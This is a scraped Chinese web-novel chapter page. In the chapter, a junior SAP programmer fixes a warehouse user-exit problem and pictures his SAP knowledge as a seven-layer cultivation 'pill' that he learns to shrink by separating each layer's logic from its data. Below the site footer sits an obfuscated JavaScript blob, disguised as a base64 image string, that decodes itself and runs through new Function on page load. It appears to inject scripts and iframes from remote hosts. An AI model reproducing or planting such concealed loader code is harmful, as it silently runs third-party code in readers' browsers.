- 首页
- 都市
- 凡人码农加SAP加XR征服世界
- 第49章 丹成(第1页)
第49章 丹成(第1页)
章节目录保存书签
张伟想自己这个东拉西扯的,想象力着实把自己给震惊到了!就这事,还能扯那么远的大道理出来!但是张伟觉得,如果自己后面要开公司,搞软件的话!无论如何要坚持自己这个sap的蓝丹道统!只是后面不能叫sap蓝丹了!那叫黄丹!不行!这是自己大学女同学的名字!那只能还是叫“张伟蓝丹”吧?姑且就这样吧,离自己开公司还远着呢,管他叫啥,自己才毕业几个月了,别想太多了,先搞定年薪百万吧!于是张伟又回到了,那个需求上来了!现在有这“erexits”用户出口的技术基础了之后,编程对张伟来说,就是手拿把掐了!就好像,以前你在地上炒菜,小问题!现在让你到30米的高空炒菜!你说肯定搞不定啊!但是你nb啊,给自己搭了一个30米高的台子,到上面去炒菜,你说这叫问题么?最难的问题是那个30米的高度,而不是炒菜!可是你已经学会了如何搭台,而且还搭好了台子!那就全不是问题了!这下张伟对前面几天debug标准程序的阴霾,一扫而空!完全是一副,喜不自胜的感觉!毕竟是结出了第7层丹,还学了这么牛叉的“enhancent:增强”技术啊!很快,张伟就按照第一种方案,直接基于数据,抓取电子采购的单号出来,填入到用户输入的那个字段,让用户去确认的方案,完全不用用户去输入了!直接把用户这个动作给省掉了!输入出错,不存在的!直接是这个步骤都没有了!从根上把问题彻底的解决了!张伟把程序和激活用户出口的设置打好包,发给alix,等传输成功,就可以给用户使用了!传到正式环境后,张伟自己模拟试了下,搞定!完美!于是张伟就跑到用户那里!说搞好了!让对方试试!直接把仓库的一干众人,高兴的不行,就是有种大白天捡到钱的感觉!主要是他们从来没想过,这个问题系统居然能搞定,他们一直都把这个问题,归咎为自己的工作错误,后面需要加倍小心!现在张伟告诉他们,不但以后不会错了,甚至连输入单据号这个动作都没有了!你说会不会有种大白天捡到钱的感觉!张姐果然,拉出了最好的妹子资源,要介绍给张伟!张伟那真是,拉着那个小哥,忙不迭的跑掉了!小哥,特别想感谢张伟给他们解决了这个大问题!这个问题对仓库小哥意味着什么,张伟无法感知,于是给张伟比喻了下!就好比,每次在外面收100张钱,都会有1张是假的!可是你完全不知道具体是哪张!你如果不管,那么存银行时被发现了,就会被警察叫过去,一通的教育!然后小哥没办法,每次都只能一张一张的检查,即使检查,偶尔也会眼睛看花了,漏掉了!虽然每次就一张,但是就像一根刺,偶尔扎一下,烦不胜烦!现在张伟做的这个事,就等于给了对方一个自动点钞机!所有问题统统没有!彻底搞定!被对方这样一表达,张伟也是觉得,自己的工作很有价值啊!也是特别的高兴!张伟又和这个小哥,转了仓库!小哥那是对张伟,真是,知无不言、言无不尽把仓库的事情,里三层、外三层通通都讲了一个遍,甚至那里有个老鼠洞,都给张伟说了!张伟也是彻底的搞明白了,啥叫成品仓、啥叫原料仓、啥叫线边仓、啥叫寄售仓!对张伟来说就是,仓仓不重样,仓仓有惊喜啊!对张伟真是一顿“仓仓”饕餮知识盛宴啊!张伟觉得,自己对本公司仓库的认知,应该超过了alix了吧!这个事情搞完,张伟的工作再次陷入了,张伟自己定义下的无事可做了!就是那种,对张伟来说,没吃米饭,就不能算正餐的奇葩逻辑!于是张伟,又开启了,找领导要活干的征讨中!“alix,有活干么!给分配点啊!”“领导!有活干么,给我分配点啊!”反正是搞的现在alix,好几周都没来东莞了!反正也没啥重要事,估计alix巴不得有啥事了,正好打发张伟这个老六去干!张伟自己也是发挥“到群众中去,解决群众的问题”的优良品德!不过,对于现在的张伟,偶尔挖掘出来的问题,简直就是完全对张伟没难度,基本就是最多的几个小时,最少的几分钟!完全没有挑战!张伟也不嫌麻烦,反正每周至少问3次,找alix要活干!搞的现在,alix都懒的回他这类消息了!张伟又是闲的蛋疼的一天开始,给alix发了,要工作的信息后!闭上眼具象出了sap巨大7层蓝丹!张伟觉得,目前好像sap没法在凝聚出新的丹层了,第7层已经是触及到了用户的操作界面层了,第7层就是对话程序层了!,!张伟的思维,在这7层巨大的蓝丹上来回穿梭!第1、2、3层,就是单纯的层状,没有上下层之间链接的网状,也许有网状的,但是对于计算机程序来说,自己可以不用去管了!如果自己未来要开发软件产品,只需要更换第三层即可,第一、第二层完全重用,或者直接无视即可,放在那里,仅仅是因为实际结构就是这样的,不用任何人做任何动作!张伟想未来如果要开发自己的软件产品,肯定不能用abap,这个语言只能给sap用,而且被sap进行了强封装!没法搬迁到其他场景去使用!估计自己大概率会采用java、python或者c吧,c++应该也不会,这种更加偏向硬件和底层,估计不是自己的方向!应该是小勇的方向吧!然后就是后面的第4层字段层、第5数据表层、第6业务对象层(也可以叫函数层)、第7对话程序层(也可以叫函数聚合层),这4层肯定是需要的,而且是那种直接py的需要!但是自己现在对这4层,确实划分出来了,可是很多的黑色区域啊!虽然搞清楚这些黑色需要的仅仅只是时间问题,但是毕竟还是黑色啊!占据了很大的空间啊!张伟想到,人家修仙小说结出的金丹,可大可小,我结出的这个sap蓝丹,就不能可大可小么?现在那么巨大一个蓝丹在自己脑海里晃荡!很碍眼啊!能不能可大可小啊!张伟觉得,这个想法太td修仙流了!当有这个想法后,再也压不住这个想法了!人家的金丹可以放大缩小,甚至连照片都可以!值得一试!无论如何的开创一个放大缩小的逻辑出来!对于第1、2、3层不需要缩小,本来就没啥内容,只有一个亮蓝色三层球体!第四层开始,一层比一层大,一层比一层黑色区域多,虽然划分出层级球体了,但是黑区域很多啊!只要是黑色部分,对自己就是蒙圈圈的!不能有任何的操作!张伟目前对第四层还是最熟悉的,毕竟写程序多啊,张伟估计自己的abap程序量早就超过10万行了!所以对字段也是最熟悉的!于是张伟把思维凝聚到第四层上去!看着一个一个的字段,思维也在这一层飘荡!张伟同时也睁开了眼睛,输入了se11进入专门构建字段的功能模块!此时张伟具象出来的那颗巨大的sap蓝丹,就消失了!毕竟是自己在脑海里想象出来的!张伟只能在闭上眼睛!从这第四层挑选一些,自己经常使用的字段出来研究,闭上眼第一个,lifnr:供应商!睁开眼,输入lifnr字段,进入界面!闭上眼,第二个:werks,工厂,睁开眼,打开新窗口输入:werks进入界面!闭上眼,第三个,lgort,仓库,睁开眼,打开新窗口输入:lgort,进字段界面!第12个!第13个!我靠!我操!我叉!fuck!我没有闭眼睛啊!我没有闭眼睛啊!这颗巨大的sap蓝丹,居然就在自己的面前了!啥情况!难不成出现了幻觉不成?张伟左右瞧了瞧,发现其他人都没反应,应该只有自己能看见吧!nnd,不科学啊,难道是幻觉不成?咱这个,可真不是修仙啊!张伟闭上眼,这颗蓝丹依然存在,睁开眼,还是存在,只是和现实空间融合在一起的!这是啥情况了?不科学啊!张伟赶紧上网查了下,为什么自己眼前,会有一个幻觉物体!搜索完,张伟恢复正常了,因为有无数人,都说自己眼前有个幻觉物,有些人说是一个蚊子,飞来飞去的!有些人甚至说是飞碟!张伟看了一个医生权威的解释,大概率,是因为自己经常想一个事物,太多次,太频繁了,时间太长了,于是就不自然的产生了自己日思夜想的物体,为幻觉!医生建议去精神科诊断,吃药缓解病症!张伟觉得这个解释很合理啊,自己基本上每天都会闭上眼,把这颗sap蓝丹具象出来玩一玩,研究研究!基本上这几个月,就没停止过研究!有时张伟即使没闭眼张伟也能感受到这颗sap的蓝丹存在,在自己脑海里,闪烁着柔和的蓝光,转啊转啊!张伟想估计那个说眼前有蚊子的,应该是晚上被蚊子叮怕了吧!天天叮!谁都会产生蚊子幻觉!那个看到ufo的,估计真是个奇葩了啊!医生建议去精神科诊断?吃药?我靠怎么可能,这可是自己名副其实的外挂!呵护着还来不及了,诊断?吃药?毛都没有啊!哈哈,绝对的外挂!张伟回到研究界面,对比着十几个字段的功能设置界面!不比不知道,一比吓一跳!这些界面除了字段名称,字段设置属性不同,其他的全部一样!,!nnd!这不!缩放逻辑、缩放算法不就来了么!也就是说,对于字段言,这些字段都是数据啊!唯一不变的是定义字段的逻辑啊!比如字段的类型,是字符型,还是数字型,日期型还有字段的统一搜索帮助,快捷输入参数字段的名词,长文本、短文本这些逻辑都是固定的啊,这十几个字段比较下来,这些定义逻辑全部一样,只是里面的数据,不同的字段,数据不同罢了!张伟这下就好办了!于是在具象出来的sap蓝丹里,把字段统统去掉,只留下这一层字段定义逻辑!干净了!清爽了!更加没有黑色区域了,这一层瞬间就变小了!以前那么大,因为太多字段了啊,对于这一层来说,字段就是这一层的数据啊!这一层的逻辑,就是上面那些公共部分!看着这一层,现在变得小小的,张伟真是老来欣慰啊!然后张伟又把字段填进去,瞬间就变大了,张伟甚至可以,只填入部分的字段进去,比如只填入pp模块的,只填入模块的!这个幻觉外挂,真是太nb了!医生建议精神科?张伟如果真去了,那才是精神有问题了!这一层解决了放大缩小问题,其他层,依样画葫芦啊!每一层其实构建逻辑就那么一点内容!相对于这层沉淀、积累下来的数据,构建此层的逻辑,其大小简直不值一提啊!当然只要加入数据,这一层,就是遮天蔽日,否则,就只有巴掌大小!比如字段层,构建起来的逻辑信息最多不超过20个,可是字段却有几万个之多!所以这一层才那么巨大!第5层数据表层也是一样啊,构建一张表的逻辑,也就那么几个,比如表有多少个字段,每个字段如何检查,哪些字段相互捆绑等!第六层、第七层,也是一样的逻辑,进行缩放,去掉数据,只剩下构建此层的逻辑!张伟发现去掉每层附着的数据后,7层sap蓝丹变得精巧了,这才是真正的蓝丹嘛!之前自己具象结的丹,应该叫球,不能说有地球那么大,但是肯定不能叫丹!现在按照这种逻辑去掉每层的数据后,只剩下每层的结丹逻辑后的丹,才能真的叫丹!sap蓝丹!丹成!:()凡人码农加sap加xr征服世界
上一章章节目录下一章
温馨提示:按 ←键 返回上一页, 按 →键 进入下一页,不需要加入书签,进入阅读记录方便您下次继续阅读。
凡人码农加SAP加XR征服世界所有内容均来自互联网,126文学网只为原作者作家5TTPWu的小说进行宣传。欢迎各位书友支持作家5TTPWu并收藏凡人码农加SAP加XR征服世界最新章节。
!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();